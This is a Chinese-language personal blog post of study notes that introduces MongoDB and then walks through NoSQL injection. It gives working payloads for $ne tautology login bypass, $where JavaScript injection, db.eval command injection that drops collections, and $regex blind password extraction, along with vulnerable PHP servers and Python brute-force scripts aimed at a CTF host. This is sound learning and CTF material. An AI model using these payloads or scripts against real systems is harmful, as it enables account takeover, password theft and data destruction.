NoSQL和MongoDB

前言

参考Nosql 注入从零到一 - 先知社区 (aliyun.com)

直接看参考文章就行

内容偷懒有删减,写文章是为了让自己坚持看完并且本地保存一下罢了

什么是 Nosql

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

什么是 MongoDB

MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 19,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
}

MongoDB 基础概念解析

不管我们学习什么数据库都应该学习其中的基础概念,在 MongoDB 中基本的概念有文档、集合、数据库,如下表所示:

SQL 概念 MongoDB 概念 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB 不支持
primary key primary key 主键,MongoDB 自动将 _id 字段设置为主键

database

$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> show dbs                       //展示所有数据库
admin   0.078GB
config  0.078GB
local   0.078GB
> db                       //显示当前数据库对象
test
>

文档(Document)

文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。

一个简单的文档例子如下:

{"name":"whoami", "age":19}

集合(Collection)

集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。

比如,我们可以将以下不同数据结构的文档插入到集合中:

{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}

使用 show collectionsshow tables 命令查看已有集合

> show collections
all_users
> show tables
all_users
>

基础语法

如果数据库不存在,则创建数据库,否则切连接并换到指定数据库

use users
创建集合

db.createCollection(name, options)
> use users
switched to db users
> db.createCollection("all_users")
{ "ok" : 1 }
>
> db.all_users.insert({name: 'whoami', 
    description: 'the admin user',
    age: 19,
    status: 'A',
    groups: ['admins', 'users']
})

在 MongoDB 中我们可以使用 update()save() 方法来更新集合中的文档

db.collection.update(
   <query>,
   <update>,
   {
     upsert: <boolean>,
     multi: <boolean>,
     writeConcern: <document>
   }
)
> db.lover.update({'age':19}, {$set:{'age':20}})
WriteResult({ "nMatched" : 0, "nUpserted" : 0, "nModified" : 0 })
>
> db.all_users.find().pretty()
{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 20,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
}
>

以上语句只会修改第一条发现的文档,如果你要修改多条相同的文档,则需要设置 multi 参数为 true。

> db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})
db.collection.save(
   <document>,
   {
     writeConcern: <document>
   }
)



> db.all_users.save({
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 21,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
})
db.collection.find(query, projection)


> db.all_users.find({"age":"20"})
{ "_id" : ObjectId("60fa854cf8aaaf4f21049148"), "name" : "whoami", "description" : "the admin user", "age" : "20", "status" : "A", "groups" : [ "admins", "users" ] }

可以使用 pretty() 方法以格式化的方式来显示所有文档

> db.all_users.find({"age":20}).pretty()
{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 20,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
}
>
操作 格式 范例 RDBMS 中的类似语句
等于 {<key>:<value>} db.love.find({"name":"whoami"}).pretty() where name = 'whoami'
小于 {<key>:{$lt:<value>}} db.love.find({"age":{$lt:19}}).pretty() where age < 19
小于或等于 {<key>:{$lte:<value>}} db.love.find({"age":{$lte:19}}).pretty() where likes <= 19
大于 {<key>:{$gt:<value>}} db.love.find({"age":{$gt:19}}).pretty() where likes > 19
大于或等于 {<key>:{$gte:<value>}} db.love.find({"age":{$gte:19}}).pretty() where likes >= 19
不等于 {<key>:{$ne:<value>}} db.love.find({"age":{$ne:19}}).pretty() where likes != 19
OR条件

> db.col.find(
   {
      $or: [
         {key1: value1}, {key2:value2}
      ]
   }
).pretty()


> db.all_users.find({$or:[{"status":"A", "age":"19"}]})
{ "_id" : ObjectId("60fa8ec6f8aaaf4f2104914c"), "name" : "bunny", "description" : "the normal user", "age" : 19, "status" : "A", "groups" : [ "lovers", "users" ] }
>

NoSQL 注入的分类

有两种 NoSQL 注入分类的方式:

第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。

第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。

  • 重言式注入

使生成的表达式判定结果永远为真

  • 联合查询注入

联合查询最常用的用法是绕过认证页面获取数据。

  • JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

  • 盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

PHP的MongoDB注入

搭建环境看参考文章吧,不怎么想尝试,记个结果吧

重言式

服务端

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

对查询内容无限制

我们可以通过 $ne 关键字 (不等于)构造一个永真的条件就可以完成 NoSQL 注入:

username[$ne]=1&password[$ne]=1
> db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }

同样的,我们也可以使用下面这些作为 payload 进行攻击:

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

参考上面的表达式表格

联合查询

假设后端的 MongoDB 查询语句使用了字符串拼接:

string query ="{ username: '" + $username + "', password: '" + $password + "' }"
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

拼接入查询语句后相当于执行了:

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

此时,只要用户名是正确的,这个查询就可以成功。这种手法和 SQL 注入比较相似:

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))

这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 () 内的条件总是永真的。

javascript

在 MongoDB 中,$where 操作符可以用来执行 JavaScript 代码

> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>

由于使用了 $where 关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。

某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData 获取查询条件:

db.users.find({ $where: "function(){return(this.username == $userData)}" })

然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000) ,此时 MongoDB 执行的查询语句为:

db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })

如果此时服务器有 5 秒钟的延迟则说明注入成功。

测试的服务端代码

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { 
    var username = '".$username."';
    var password = '".$password."';
    if(username == 'admin' && password == '123456'){
        return true;
    }else{
        return false;
    }
}";
$query = new MongoDB\Driver\Query(array(
    '$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo '====Login Success====<br>';
        echo 'username: '.$user['username']."<br>";
        echo 'password: '.$user['password']."<br>";
    }
}
else{
    echo 'Login Failed';
}
?>
  • MongoDB 2.4 之前

在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reducegroup 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。

如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
  • MongoDB 2.4 之后

MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:

username=1&password=1';return true//
或
username=1&password=1';return true;var a='1
array(
    '$where' => "
    function() { 
        var username = '1';
        var password = '1';return true;var a='1';
        if(username == 'admin' && password == '123456'){
            return true;
        }else{
            return false;
        }
    }
")

我们从代码中可以看出,password 中的 return true 使得整个 JavaScript 代码提前结束并返回了 true,这样就构造出了一个永真的条件并完成了 NoSQL 注入

使用 Command 方法造成的注入

在 MongoDB 的服务器端可以通过 db.eval 方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过 db.eval 在服务器端来运行

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

这样都是很危险的,因为这个就相当于把 Mongo Shell 开放给了用户,如果此时构造下列 payload:

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高,我们能干的事情就更多了。

盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来进行盲注, $regex 可以达到和传统 SQL 注入中 substr() 函数相同的功能

感觉正则比表达式方便多了

服务端

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>
username=admin&password[$regex]=.{4}    // 登录成功
username=admin&password[$regex]=.{5}    // 登录成功
username=admin&password[$regex]=.{6}    // 登录成功
username=admin&password[$regex]=.{7}    // 登录失败
......

知道 password 的长度之后我们便可以逐位提取 password 的字符了:

username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456

盲注脚本

import requests
import string

password = ''
url = 'http://192.168.226.148/index.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
            #headers = {'Content-Type': 'application/json'}
            #r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            r = requests.post(url=url, data=post_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c


# 输出如下: 
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456

nodejs中的MongoDB注入

在处理 MongoDB 查询时,经常会使用 JSON格式将用户提交的数据发送到服务端,如果目标过滤了 $ne 等关键字,我们可以使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}

例题

登录框

image-20231129224159040

image-20231129224216029

构造

{"username":{"$ne":1},"password": {"$ne":1}}

image-20231129224324490

image-20231129224332412

通过 Nosql 盲注,让我们把 admin 的密码爆出来

import requests
import string

password = ''
url = 'http://node4.buuoj.cn:27409/login.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            #r = requests.post(url=url, data=post_payload)
            if '但没完全登录' in r.content.decode():
                print("[+] %s" % (password + c))
                password += c

# 输出:
# [+] 4
# [+] 42
# [+] 422
# [+] 4227
# [+] 42276
# [+] 422766
# ......
# [+] 42276606202db06ad1f29ab6b4a1
# [+] 42276606202db06ad1f29ab6b4a13
# [+] 42276606202db06ad1f29ab6b4a130
# [+] 42276606202db06ad1f29ab6b4a1307
# [+] 42276606202db06ad1f29ab6b4a1307f

NoSQL和MongoDB
https://zer0peach.github.io/2023/11/29/NoSQL和MongoDB/
作者
Zer0peach
发布于
2023年11月29日
许可协议